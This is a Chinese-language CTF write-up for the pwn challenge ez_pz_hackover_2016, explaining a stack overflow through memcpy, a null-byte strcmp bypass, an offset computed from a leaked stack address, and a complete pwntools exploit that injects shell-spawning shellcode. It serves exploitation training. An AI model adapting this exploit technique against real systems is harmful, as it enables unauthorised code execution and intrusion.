# 1. 查看程序
发现没有开启 NX,有 rwx 段,可以利用 shellcode
利用 ida 查看
因为要写入 shellcode 并执行,所以我们需要利用栈溢出
chall 函数里的 fget 因为大小限制为 1024(0x400),所以我们无法溢出,但是,该函数末尾有个 vuln(s,0x400),里面的 memcpy 函数会将 s,复制给 dest,且有 0x400 的大小可以进行溢出。
我们需要绕过 strcmp(s,crashme)
, 可以利用 \x00
截断
# 2. 漏洞利用
我们通过执行 shellcode 来 getshell,通过 vuln
函数中的 memcpy函数
进行复制来导致溢出,让我们返回到 shellcode
的地址,去执行
由于分配的栈每次都是随机分配的,所以地址是变化的,导致我们需要的 shellcode
地址也是变动的
偏移量是定值,在 chall
函数中首先会给一个 s
的地址, s
也在栈上(但是在不同的函数栈上),我们可以用得到的 s,加上调试找到的 shellcode
地址算出偏移量,利用固定的偏移量来计算后面的 shellcode
地址
字符串 s 的地址高地址,要输入的 shellcode 地址为低地址
offset=0xfffdc7ac-0xfffdc790=0x1c=28
其余只需要用 \x00
绕过 strcpy()
函数即可
【注意】
该题的 dest
栈的偏移在 ida 中有偏差,我们进行手动调试
from pwn import * | |
p=process('./ez_pz_hackover_2016') | |
context.log_level='debug' | |
gdb.attach(p) ## 会在此处再打开一个终端 | |
# 'b *0x8048600' ## 在该终端下设置对应断点(要设置在对应函数结束之前),设置完后必须在新终端按下 “c” 来继续进行,再在旧终端里按下回车 | |
, | |
p.recvuntil('crash: ') | |
stack=int(p.recv(10),16)#接收 s 在栈上的地址 | |
payload='crashme\x00'+'aaaaaa'#crashme\x00 绕过 if 判断 | |
pause() #必须要在发送的 payload 前面,不然直接发送结束无法查询了 | |
p.sendline(payload) | |
pause() #必要的,不能少 |
调试步骤见文章 gdb本地调试
从上图中看到 ebp 地址为 0xfffdc788
,esp 0xfffdc750
, 相对偏移为 0x38(ebp-esp),我们输入的内容从偏移 0x22 开始(小端序倒着读),从这可以看到我们需要填充的 padding
大小为 0x16+4(0x38-0x22+4)从未输入 crashme 开始算
payload=b"crashme\x00"+b"a"(0x16-8+4)+stack_add+shellcode #减 8 为前面的 "crashme\x00" 的长度 (\x00 为 1) |
# 3. exp
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=process('./ez_pz_hackover_2016') | |
#p=remote('node4.buuoj.cn',28249) | |
#gdb.attach(p,"b *0x8048600") | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("lets crash: ") | |
stack=int(p.recv(10),16) | |
offset=0x1c | |
p.recvuntil("> ") | |
payload1=b"crashme\x00"+b"a"*(0x16-8+4)+p32(stack-0x1c)+shellcode | |
p.sendline(payload1) | |
p.interactive() |
打通本地
得到 flag